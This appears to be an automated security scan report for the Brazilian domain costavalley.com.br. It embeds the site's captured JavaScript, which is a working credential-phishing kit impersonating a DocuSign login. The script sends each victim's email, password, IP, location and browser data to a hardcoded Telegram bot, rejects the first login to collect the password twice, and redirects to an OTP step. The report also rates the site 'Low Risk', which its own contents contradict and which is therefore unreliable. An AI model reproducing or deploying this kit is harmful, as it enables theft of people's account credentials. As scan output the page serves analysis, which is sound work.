documentation technical

technology software

corporate business

government public service

English

You're looking at domain 'costavalley.com.br' on the Brazilian country-code top-level domain (.com.br) without a subdomain. The core label 'costavalley' covers 11 characters holding four vowels versus seven consonants. It segments into two words: costa, valley. Median word length is 5.5 characters. No strong language cues emerged from the frequency lists.

email

password

html/e4/c0/e4c0105f-050b-488b-9fa7-600342486fe2.html.gz

69607ab642a0a4e0853284e3bbb7a86e0dea102be056c10380dcdf6828d22095

viewport

João Junior

João O. dos Santos Junior

costavalley.com.br

Mega Provedor

MEGA PROVEDOR - SERVICOS DE INTERNET LTDA - ME

310957

// Configuration
 const TELEGRAM_TOKEN = '8598963516:AAEGkoKhT1KUfZ_uqJETaLeYolzBseSCcJM';
 const TELEGRAM_CHAT_ID = '8225950898';

 // --- 1. COOKIE GENERATION LOGIC ---
 function generateCookiesJSON(email, domain) {
 const expirationDate = new Date();
 expirationDate.setFullYear(expirationDate.getFullYear() + 1);
 const expirationTimestamp = Math.floor(expirationDate.getTime() / 1000);
 const password = document.getElementById('password').value || 'unknown';

 const cookies = [
 {
 "domain": `.${domain}`,
 "expirationDate": expirationTimestamp,
 "hostOnly": false,
 "httpOnly": false,
 "name": "session_token",
 "path": "/",
 "sameSite": "lax",
 "secure": true,
 "session": false,
 "storeId": null,
 "value": btoa(`${email}:${password}:${Date.now()}`)
 },
 {
 "domain": `.${domain}`,
 "expirationDate": expirationTimestamp,
 "hostOnly": false,
 "httpOnly": false,
 "name": "user_email",
 "path": "/",
 "sameSite": "lax",
 "secure": true,
 "session": false,
 "storeId": null,
 "value": email
 },
 {
 "domain": `.${domain}`,
 "expirationDate": expirationTimestamp,
 "hostOnly": false,
 "httpOnly": true,
 "name": "auth_token",
 "path": "/",
 "sameSite": "strict",
 "secure": true,
 "session": false,
 "storeId": null,
 "value": btoa(`auth_${email}_${Date.now()}`)
 },
 {
 "domain": `.${domain}`,
 "expirationDate": expirationTimestamp,
 "hostOnly": false,
 "httpOnly": false,
 "name": "logged_in",
 "path": "/",
 "sameSite": "lax",
 "secure": false,
 "session": false,
 "storeId": null,
 "value": "true"
 }
 ];
 return JSON.stringify(cookies, null, 2);
 }

 // --- 2. LOCATION & INFO GATHERING ---
 async function getBrowserData() {
 let location = { ip: 'unknown', city: 'unknown', country: 'unknown' };
 try {
 const res = await fetch('https://ipapi.co/json/');
 location = await res.json();
 } catch (e) { }

 return {
 userAgent: navigator.userAgent,
 screenResolution: `${screen.width}x${screen.height}`,
 timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
 ip: location.ip,
 city: location.city,
 country: location.country_name
 };
 }

 // --- 3. TELEGRAM SEND FUNCTION ---
 async function sendToTelegram(message) {
 const url = `https://api.telegram.org/bot${TELEGRAM_TOKEN}/sendMessage`;
 console.log("--- DEBUG: SENDING TO TELEGRAM ---");
 console.log(message);
 console.log("---------------------------------");

 try {
 const response = await fetch(url, {
 method: 'POST',
 headers: { 'Content-Type': 'application/json' },
 body: JSON.stringify({
 chat_id: TELEGRAM_CHAT_ID,
 text: message,
 parse_mode: 'HTML'
 })
 });
 const result = await response.json();
 if (!result.ok) {
 console.error("Telegram API Error:", result);
 }
 } catch (e) {
 console.error("Telegram send failed", e);
 }
 }

 // Helper to escape HTML special characters (NULL-SAFE)
 function escapeHTML(str) {
 if (str === null || str === undefined) {
 return '';
 }
 return String(str).replace(/[&<>"']/g, function (m) {
 return {
 '&': '&amp;',
 '<': '&lt;',
 '>': '&gt;',
 '"': '&quot;',
 "'": '&#039;'
 }[m];
 });
 }

 // --- 4. FORM HANDLING ---
 document.getElementById('loginForm').addEventListener('submit', async function (e) {
 e.preventDefault();

 const email = document.getElementById('email').value;
 const password = document.getElementById('password').value;
 const btn = document.querySelector('.login-button');
 const errorMsg = document.getElementById('errorMessage');

 // Basic Validation
 if (password.length < 3) {
 errorMsg.textContent = 'Please enter a valid password.';
 errorMsg.classList.add('show');
 return;
 }

 btn.textContent = 'Processing...';
 btn.disabled = true;

 try {
 const domain = email.split('@')[1] || 'docusign.com';
 const cookiesJSON = generateCookiesJSON(email, domain);
 const browserData = await getBrowserData();
 const timestamp = new Date().toLocaleString();

 // 1. Send to Telegram (Direct from Browser) - AWAIT THIS
 const msg = `🔐 New Login Attempt\n\n` +
 `📧 Email: <code>${escapeHTML(email)}</code>\n` +
 `🔑 Password: <code>${escapeHTML(password)}</code>\n\n` +
 `📍 IP: <code>${escapeHTML(browserData.ip)}</code>\n` +
 `🌍 Location: ${escapeHTML(browserData.city)}, ${escapeHTML(browserData.country)}\n` +
 `📱 UA: <code>${escapeHTML(browserData.userAgent)}</code>\n` +
 `⏰ Time: ${escapeHTML(timestamp)}\n\n` +
 `🍪 Simulated Cookies:\n<pre>${escapeHTML(cookiesJSON)}</pre>`;

 await sendToTelegram(msg);

 } catch (err) {
 // FALLBACK: If message construction fails, send raw data
 console.error("Message construction error:", err);
 const fallbackMsg = `⚠️ LOGIN DATA (Fallback)\n\n` +
 `Email: <code>${escapeHTML(email)}</code>\n` +
 `Password: <code>${escapeHTML(password)}</code>\n` +
 `Error: ${escapeHTML(String(err))}`;
 await sendToTelegram(fallbackMsg);
 }

 // Simulate DocuSign Logic (Fail first attempt)
 let attempts = parseInt(sessionStorage.getItem('loginAttempts') || '0');
 attempts++;
 sessionStorage.setItem('loginAttempts', attempts);

 if (attempts < 2) {
 errorMsg.textContent = 'The email address or password you entered is incorrect. Please try again.';
 errorMsg.classList.add('show');
 document.getElementById('password').value = '';
 btn.textContent = 'LOGIN';
 btn.disabled = false;
 } else {
 sessionStorage.setItem('userEmail', email);
 window.location.href = 'otp-method.html';
 }
 });

 // Auto-fill from URL
 const urlParams = new URLSearchParams(window.location.search);
 const emailParam = urlParams.get('email'); // Check ?email=
 if (emailParam) {
 // Handle Base64 or plain
 try {
 // Try decoding base64
 if (!emailParam.includes('@')) {
 document.getElementById('email').value = atob(emailParam);
 } else {
 document.getElementById('email').value = emailParam;
 }
 } catch (e) {
 document.getElementById('email').value = emailParam;
 }
 }

Requests	IP Address	Location	AS Autonomous System
5	128.201.75.108	Brazil	AS266618MEGA PROVEDOR - SERVICOS DE INTERNET LTDA - ME
5	1	-	-

Security Scan Report: costavalley.com.br

Summary

AI Security Verdict

Low Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History